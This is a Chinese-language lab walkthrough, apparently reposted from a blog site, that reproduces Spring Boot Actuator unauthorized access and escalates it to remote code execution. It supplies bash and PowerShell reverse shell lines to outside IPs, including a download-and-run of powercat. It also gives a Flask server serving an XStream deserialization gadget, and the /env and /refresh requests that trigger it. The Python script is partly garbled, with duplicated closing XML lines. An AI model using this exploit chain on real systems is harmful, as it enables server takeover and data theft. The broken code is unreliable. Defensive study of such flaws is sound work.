目錄
一, 未授權(quán)訪問(wèn)是什么?
二,Actuator介紹
三,怎么進(jìn)行漏洞發(fā)現(xiàn)呢?
四,實(shí)驗(yàn)環(huán)境
五,漏洞復(fù)現(xiàn)
1.通過(guò)訪問(wèn)env獲取全部環(huán)境屬性
2.通過(guò)/trace提供基本的http請(qǐng)求跟蹤信息
3.利用反序列化進(jìn)行g(shù)etshell
?1.啟動(dòng)腳本
2.開(kāi)啟監(jiān)聽(tīng)
?3.使用bp抓取一個(gè)/env的包
4.修改POST數(shù)據(jù)
一, 未授權(quán)訪問(wèn)是什么?
未授權(quán)訪問(wèn)漏洞可以理解為需要安全配置或權(quán)限認(rèn)證的地址、授權(quán)頁(yè)面存在缺陷導(dǎo)致其他用戶可以直接訪問(wèn)從而引發(fā)重要權(quán)限可被操作、數(shù)據(jù)庫(kù)或網(wǎng)站目錄等敏感信息泄露
二,Actuator介紹
Spring Boot 基本上是 Spring 框架的擴(kuò)展。?Actuator 是 Springboot 提供的用來(lái)對(duì)應(yīng)用系統(tǒng)進(jìn)行 自省和監(jiān)控的功能模塊,借助于 Actuator ,開(kāi)發(fā)者可以很方便地對(duì)應(yīng)用系統(tǒng)的某些監(jiān)控指標(biāo)進(jìn)行查 看、統(tǒng)計(jì)等。在 Actuator 啟用的情況下,如果沒(méi)有做好相關(guān)權(quán)限控制,非法用戶可通過(guò)訪問(wèn)默認(rèn)的執(zhí)行器端點(diǎn)( endpoints )來(lái)獲取應(yīng)用系統(tǒng)中的監(jiān)控信息。
?文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-807380.html
三,怎么進(jìn)行漏洞發(fā)現(xiàn)呢?
1.?分析web 應(yīng)用使用的框架為 springboot 框架
2.如果web應(yīng)用開(kāi)發(fā)者沒(méi)有修改springboot web默認(rèn)圖標(biāo)
3.如果修改了默認(rèn)圖標(biāo),我們通過(guò)訪問(wèn)refresh web網(wǎng)頁(yè)報(bào)錯(cuò)進(jìn)行分析,如果 web 應(yīng)用開(kāi)發(fā)者沒(méi)有修改 springboot web 應(yīng)用的默認(rèn) 4xx、5xx 報(bào)錯(cuò)頁(yè)面,那么當(dāng) web 應(yīng)用程序出現(xiàn) 4xx、5xx 錯(cuò)誤時(shí),會(huì)報(bào)錯(cuò)如下如圖所示
?
四,實(shí)驗(yàn)環(huán)境
靶機(jī):Centos7+springboot?? IP地址:10.1.1.137:8090
攻擊機(jī):Kali? IP地址:10.1.1.135
五,漏洞復(fù)現(xiàn)
1.通過(guò)訪問(wèn)env獲取全部環(huán)境屬性
2.通過(guò)/trace提供基本的http請(qǐng)求跟蹤信息
3.利用反序列化進(jìn)行g(shù)etshell
需要以下兩個(gè)包(環(huán)境已安裝)
spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依賴)
采用腳本的方式
# linux反彈shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# windows反彈shell
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
from flask import Flask,Response
app =Flask(_name_)
@app.route('/xstream', defaults={ ''})
@app.route('/xstream/<path:path>')
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Date">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/139.9.198.30/1234 0>&1</string> //攻擊機(jī)的IP
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=2333)
采用一個(gè)啟動(dòng)腳本的服務(wù)
注意講腳本中的IP改為自己的IP,并且開(kāi)啟一個(gè)監(jiān)聽(tīng)端口
?
?1.啟動(dòng)腳本
2.開(kāi)啟監(jiān)聽(tīng)
?
?3.使用bp抓取一個(gè)/env的包
4.修改POST數(shù)據(jù)
eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
?
?點(diǎn)擊forward發(fā)送請(qǐng)求
?訪問(wèn)/refresh,還是顯示一次錯(cuò)誤頁(yè)面。我們對(duì)此進(jìn)行抓包
?
我們講此修改為post請(qǐng)求,數(shù)據(jù)包隨機(jī)輸入就可以?
?
?查看監(jiān)聽(tīng)的端口,我們可以看到得道了一個(gè)shell,復(fù)現(xiàn)成功?。。?/strong>
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-807380.html
?
到了這里,關(guān)于漏洞復(fù)現(xiàn) - - - Springboot未授權(quán)訪問(wèn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!